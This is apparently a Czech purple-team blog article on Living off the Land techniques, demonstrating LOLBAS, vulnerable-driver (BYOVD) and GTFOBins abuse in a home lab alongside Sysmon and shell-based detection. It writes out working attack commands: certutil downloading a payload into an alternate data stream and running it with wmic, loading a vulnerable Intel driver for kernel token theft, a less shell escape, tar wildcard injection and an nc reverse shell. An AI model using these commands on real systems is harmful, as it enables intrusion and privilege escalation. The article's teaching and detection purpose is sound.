Living off the Land
Nejnebezpečnější nástroje už nějakou dobu nejsou ty, které si útočník přinese s sebou do kompromitovaného systému, ale ty, které se na něm už nacházejí - jsou známé a mají v daném systému legitimní využití. „Living off the Land" (LotL) je přesně tohle - legitimní binárky, drivery a skripty, které se dají zneužít ve prospěch útočníka. Zneužívání těchhle LotL nástrojů nese pro útočníka hned několik výhod, například:
- Nemusí do systému přenášet žádné externí skripty, takže na disku nevzniká nový soubor a zůstává po něm míň stop.
- V některých případech to obejde antivirovou detekci - binárka je legitimní, takže na ni nesedí signatury.
- Z pohledu defendera to není tak nápadné jako vlastní skript.
Tahle technika není nová, používá se prakticky odjakživa, ale oficiální nálepku dostala až na hackerské konferenci DerbyCon v roce 2013. A přestože není nová, je pořád široce využívaná - třeba v malwaru. Proto jsem se ji rozhodl popsat a zdokumentovat, a to z purple team hlediska: z vlastního výzkumu jsem viděl, že převažují red team články, takže se chci zaměřit i na detekci.
Hlavním zdrojem všech LotL indexů pro mě byl lolol.farm, což je vlastně takový index nad indexy, který sdružuje všechny LotL indexy (jako LOLBAS, GTFOBins, LOLDrivers, LOOBins, LOLC2 a další). Doporučuji se tam podívat, dá se tam najít spousta zajímavých indexů. Ale pro svůj vlastní výzkum (a tenhle článek) jsem si vybral 3 pro mě nejpodstatnější:
- LOLBAS - Windows nástroje v user-space.
- LOLDrivers - Windows kernel/ovladače.
- GTFOBins - Linux nástroje.
LOLBAS
LOLBAS dokumentuje každou nativní binárku, skript nebo knihovnu na Windows kterou lze použít k LotL technikám. Jako například stažení payloadu, dekódování, proxy spouštění souborů nebo obcházení allow listu.
Místo reálného škodlivého payloadu jsem pro demonstraci využil vlastní payload, který jen zobrazí message box s popiskem "pwned :)". Na vytvoření payloadu jsem použil tenhle Powershell one-liner:
Add-Type -TypeDefinition 'using System;using System.Windows.Forms;class P{static void Main(){MessageBox.Show("Pwned :)");}}' -ReferencedAssemblies System.Windows.Forms -OutputAssembly malware.exe -OutputType WindowsApplication
Red Team pohled
V následující demonstraci ukážu postup, jak pomocí certutil.exe stáhnout soubor, uložit ho jako NTFS Alternate Data Stream (ADS) a poté ho spustit pomocí wmic.exe přímo z toho streamu.
Testuji to na své Windows VM, která je se strojem útočníka spojená přes VirtualBox host-only adaptér. IP adresa, ze které hostuji payload, je 192.168.56.1.
Vytvořil jsem si taky tenhle PowerShell skript, aby byla demonstrace líp vidět (skript vždy vypíše příkaz a pak ho spustí, ať je vidět, co se děje):
echo "Demonstrace LOLBAS"
pause
echo "Stazeni payloadu do ADS"
echo "certutil.exe -urlcache -f http://192.168.56.1/malware.exe C:\Users\user\Desktop\file.ext:malware.exe"
certutil.exe -urlcache -f http://192.168.56.1/malware.exe C:\Users\user\Desktop\file.ext:malware.exe
pause
echo "Spusteni payloadu z ADS"
echo 'wmic.exe process call create "C:\Users\user\Desktop\file.ext:malware.exe"'
wmic.exe process call create "C:\Users\user\Desktop\file.ext:malware.exe"
pause
Na straně útočníka jsem přetáhnul soubor malware.exe z VM a spustil jednoduchý python http server pomocí následujícího příkazu:
sudo python3 -m http.server 80
Teď když máme všechno připravené můžeme jít na demonstraci:
Abych to trochu vysvětlil - Alternate Data Stream, neboli ADS, je funkce, která se objevuje jen v NTFS (takže ne ve FAT32, exFAT ani ext4; i když je pravda, že některé filesystémy mají podobnou funkci, jako třeba xattrs v Linuxu, ale není to úplně to samé co ADS). Je to tedy čistě záležitost Windows. Každý soubor v NTFS má jeden hlavní nepojmenovaný datový stream, ale NTFS dovoluje přidat i vlastní alternativní datový stream pomocí syntaxe soubor:jméno_streamu. Proto když jsme se koukali do file.ext, nic jsme neviděli - dívali jsme se do hlavního nepojmenovaného streamu, zatímco kód byl ukrytý v alternativním streamu pojmenovaném malware.exe.
Blue Team pohled
Jako blue teamer jsem si upravil SwiftOnSecurity Sysmon config, aby po demonstraci správně zalogoval Event ID 15. Originální config totiž logoval buď jen konkrétní skriptové přípony (takže .exe schované v ADS propadlo), nebo cokoli ve složkách Startup/Downloads - a moje demo dává payload na Desktop. Do sekce EID 15 jsem proto přidal pravidlo na spustitelné přípony v ADS (.exe, .dll, .scr, .com). Můj upravený config najdete na mém GitHubu.
Pro lepší přehlednost jsem v Event Vieweru použil tenhle filtr:
<QueryList>
<Query Id="0" Path="Microsoft-Windows-Sysmon/Operational">
<Select Path="Microsoft-Windows-Sysmon/Operational">*[System[(EventID=1 or EventID=3 or EventID=15)]]</Select>
</Query>
</QueryList>
Demo generuje následující Event IDs:
- EID 1 – Vytvoření procesu: spuštění PowerShell skriptu,
certutil.exe,wmic.exeamalware.exe. - EID 3 – Síťové spojení:
certutil.exese připojuje k útočníkovi a stahuje payload. - EID 15 – Vytvoření alternativního datového streamu: způsob, jakým
certutil.exeukládá payload.
Ve vyfiltrovaném logu je pak vidět celý řetězec pohromadě:
Poznámka k realitě LotL. Když jsou LotL techniky známé mezi red teamery, jsou stejně tak známé i mezi blue teamery - a tím pádem i mezi EDR společnostmi. V tomhle případě jsem ke stažení payloadu použil
certutil.exe, což mi Defender okamžitě zastavil, a musel jsem vypnout real-time protection.To ale neznamená, že se LotL techniky nepoužívají - právě naopak. Když se podíváme na můj rozbor malwaru Psyduck, zjistíme, že pro detekci antiviru používal
wmic.exe.
LOLDrivers (BYOVD)
LOLDrivers je index všech známých podepsaných zranitelných driverů, které lze exploitovat. Pro útočníky je tohle nesmírně lákavé, protože přístup ke kernelu neznamená jen SYSTEM access - kernel je místo kde je alespoň část moderních EDR, takže odtud EDR neobejdeme, ale rovnou ho můžeme "zabít". Jenže nastává problém: jak útočník získá přístup ke kernelu, když oběť na svém systému žádný zranitelný driver nemá? Tuhle překážku řeší technika Bring Your Own Vulnerable Driver (BYOVD) - útočník si přinese vlastní zranitelný driver a načte ho. BYOVD ovšem předpokládá, že útočník už má administrátorská práva; nejde tedy o způsob, jak se k adminovi dostat, ale jak se z admina dostat do kernelu.
Red Team pohled
Pro demonstraci jsem si vybral dost známé CVE-2015-2291, což je zranitelnost v Intel driveru iqvw64e.sys, která útočníkovi dovoluje Denial of Service (DoS) nebo code execution. Historicky se tahle zranitelnost používala třeba v známém nástroji kdmapper, který měl hlavní využití cheatování ve hrách. Hlavní problém u těchhle chyb je, jak už jsem zmiňoval, že se útočník dostane do kernelu (ring 0), a to je ten nejvyšší access, kterého jde v rámci Windows dosáhnout (existují ještě útoky na BIOS/UEFI, ale ty už jsou mimo scope tohodle článku).
Ale teď zpátky k ukázce. Jako první jsem si stáhl iqvw64e.sys a nainstaloval ho na target VM jako administrátor pomocí tohodle příkazu:
sc.exe create iqvw64e.sys binPath=Z:\iqvw64e.sys type=kernel && sc.exe start iqvw64e.sys
Potom jsem si stáhl a zkompiloval PoC. Musím se přiznat, že jsem původně chtěl použít jiný driver, ten byl ale blokovaný, takže jsem místo něj začal reverzovat úplně nový zranitelný driver bez PoC, abych si PoC napsal sám. Do tohodle článku jsem to už ale nestihl dát, takže až vyjde, přidám sem odkaz na nový článek o reversování toho driveru. Nicméně po zkompilování jsem exploit spustil:
Pro vysvětlení každý proces ve Windows běží s access tokenem, který nese identitu uživatele a jeho skupin plus seznam zvláštních systémových oprávnění. Když proces sáhne na objekt, jádro porovná SID z tokenu se seznamem přístupů na tom objektu - a když tam odpovídající povolení není, vrátí access denied. Trik tohodle exploitu spočívá v tom že vytvoříme nový process (powershell.exe) ale protože pomocí vulnerability v driveru máme možnost číst a zapisovat paměť v kernelu, a protože má každý process má v kernelu (konkrétněji v EPROCESS) pointer na access token, tak exploit přepíše pointer (ukazující na náš access token) aby ukazoval na existující access token účtu SYSTEM, a tím pádem máme i jeho privilegia.
Analogicky vysvětleno: je to jako v hotelu, chceme provést nějakou akci (například se dostat do nějakého hotelového pokoje), ale protože se tam chceme dostat ukážeme na recepci občanku a řekneme "Pustte mě do pokoje 123" a paní recepční se podívá na seznam jestli jsme máme oprávnění do pokoje a pokud na listu nejsme, tak nás nepustí. Ale my máme neoprávněný přístup na místní úřad (Windows kernel) kde se vydávají občanky. Takže my můžeme zajít na úřad a přepsat si občanku aby místo naší to byla občanka hlavního hotelového manažera, který má právo dělat si na hotelu skoro vše co chce. A když se vrátíme a chceme se podívat do pokoje 123 a prokážeme se naší falešnou občankou. A protože na listu je manažer napsaný u každého pokoje tak nás recepční pustí.
Blue Team pohled
Windows defender má v sobě zabudovanou funkci která blokuje Vulnerable Drivers, ale problém nastává když útočníci najdou svůj vlastní zero day v kernel driveru, nebo když operují v okénku mezi zveřejněním vulnerability a přidáním na blocklist. Mimo to je také možné blokovat načítání driverů přes Group Policy v Active Directory, což umožňuje centrálně kontrolovat které drivery se vůbec mohou na stanicích načíst. LOLDrivers mají na své stránce SIEM detection queries, sigma rules, sysmon config. Ty můžou pokrýt i drivery které jsou už veřejně známé ale Microsoft je ještě nepokryl.
Sysmon také dokáže logovat každé načtení kernel driveru - EID 6 (Driver Loaded). A každé načtení nového driveru v produkčním prostředí je třeba řádně kontrolovat. Pro následující ukázku jsem použil Sysmon config z LOLDrivers a tady je výsledek
GTFOBins
GTFOBins je index Unix-like executables které můžou bý zneužity na špatně nakonfigurovaných systémech k privilege escalation. Nebo k post-exploitaci systémů. Jako u LOLBAS (příklad s Psyduck) možeme tohle vidět například u malwaru (konkrétně cloudflare malware, na který jsem dělal writeup, používal curl ke stažení payloadu na systém oběti)
Red Team pohled
Narozdíl od LOLBAS není GTFOBins tolik zaměřené na nejvíce stealthy přístup k systému. Ale hlavně z osobní praxe je spíše používané jako Privilege Escalation technika, buď u binárek které jsou nastavené tak, že při sudo commandu se u nich nemusí zadávat heslo (vim, man, less, more a podobně) a nebo u chybně nastavených zálohovacích skriptů které volají tools jako tar a lze u nich provést wildcard injection. V demu ukážu oba 2 příklady.
1. NOPASSWD binárky
Přidávat NOPASSWD udělá v linuxu to, že nějakému uživateli dáme právo spustit konkrétní binárku jako root bez toho aby potřeboval heslo. Je to pohodlný způsob když potřebujeme dát někomu root access k různým příkazům. Ale lze toho i využít, pokud binárka nebo příkaz může spouštět kód, tak dáme uživateli vlastně plný root access bez toho aby jsme si toho vůbec uvědomovali. Například potřebujeme někomu dát přístup aby mohl číst soubory (v tomhle případě uživatel reader) jako root, to můžeme jednoduše udělat pomocí následujících příkazů:
echo 'reader ALL=(ALL) NOPASSWD: /usr/bin/more, /usr/bin/less' | sudo tee /etc/sudoers.d/reader
sudo chmod 440 /etc/sudoers.d/reader
Ale jak si ukážeme v demu, uživatel nejen že může číst soubory, ale můžeb i spouštět příkazy jak vidíme zde:
Funguje to, protože uživatel reader spustil less (úplně stejně to funguje s more) jako root. Vzhledem k tomu že less má funkci pro spouštění commandů (přes !/bin/bash) a bežel jako root. Tak shell který se spustil tak byl potomek procesu less a tím pádem zdědil i jeho práva.
2. Zálohovací skripty
Zálohovací skripty můžou být vulnerable pokud spouštíme například tar s *. Ukažeme si to na modelové situaci, máme jednuchý skript backup.py, který běží jako root a vypadá následovně:
import time
import os
while True:
os.system("cd /important_files && tar -czvf /opt/backups/backup.tar.gz *")
time.sleep(10)
Na linuxu * znamená že se tam dají všechny názvy souborů v aktuální složce (tenhle znak má i více způsobů využití vztahuju to jenom na tuhle modelovou situaci), takže se ten příkaz resolvne například takhle:
tar -czvf /opt/backups/backup.tar.gz my_dog.jpg passwords.txt hannah_montana_linux.iso
To znamená že pokud nějaký soubor pojmenujeme jako wildcard, jako například -h tak se do resolvnutého příkazu dostane našel wildcard:
tar -czvf /opt/backups/backup.tar.gz my_dog.jpg passwords.txt hannah_montana_linux.iso -h
Této technice se říká wildcard injection a funguje následovně, když vytvořím 2 soubory se jmény --checkpoint-action=exec=sh privesc.sh --checkpoint=1, tak kdkoliv kdy se pustí tar tak spustí soubor privesc.sh do kterého jsem dal jednoduchý reverse shell:
nc -e /bin/sh 127.0.0.1 1234
Jakmile tyto 3 soubory máme přípravené a ošetřili jsme execution práva pomocí chmod +x privesc.sh můžeme už jen spustit nc -lvnp 1234 a čekat na shell. Jako jde vidět tady v demu:
Blue Team pohled
Z pohledu blue teamera je to trochu zrádnější. Hlavní způsob jak se proti LotL bránit je, dávat uživatelům a skriptům privilegia, které fakt potřebují. Například by jsme měli zkontrolovat všechny uživatele jestli náhodou z nich nemá NOPASSWD oprávnění pomocí tohodle příkazu:
sudo grep -rn "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
Nebo pro konkrétního uživatele tímto způsobem:
sudo -l -U username
Také u druhého příkladu je nutné co nejvíce omezovat spuštění shellu ve skriptech, kde neoprávněný uživatel má právo měnit parametry. Popřípadě důkladně kontrolovat a updatovat skripty které běží jako root.
Ale pokud se jedná už o napadnutý počítač, nejjednodušeji se dá ověřit child/parrent vztahů procesů, a jesli náhodou není nějaký child proces shell:
pstree -p [pid]
Výstup, který ukazuje že pod procesem less běží bash by mohl vypadat nějak takto:
less(5760)───sh(5763)───bash(5764)
Závěr
Living off the Land je technika, která se používá prakticky odjakživa a pořád je široce využívaná - ať už samostatně, nebo jako součást komplexnějšího útoku. A právě protože je tak rozšířená, je dobře známá na obou stranách: red teameři ji mají v základní výbavě, blue teameři a EDR společnosti na ni mají připravené detekce a signatury.
Vyřešit se to ale nikdy úplně nedá. Vždycky se objeví nový zranitelný driver, nová binárka nebo knihovna, která ještě není na žádném blocklistu - a v okně mezi jejím objevením a nasazením detekce má útočník navrch.
Zároveň je důležité nezapomínat na jeden zásadní kontext: LotL není technika pro získání přístupu k systému. Předpokládá, že útočník už initial access má. Jde tedy o nástroj post-exploitace - jak se po systému pohybovat nenápadně, jak eskalovat privilegia a jak zůstat co nejdéle pod radarem.
Ve výsledku to znamená, že nejúčinnější obrana proti LotL vůbec nemusí být na úrovni detekce LotL samotného. Pokud útočník nikdy nezíská initial access, jsou všechny tyhle techniky k ničemu. Patch management, MFA, phishing awareness, správně nakonfigurovaný firewall - to jsou věci, které zneužití LotL preventivně znemožní dřív, než vůbec začne.

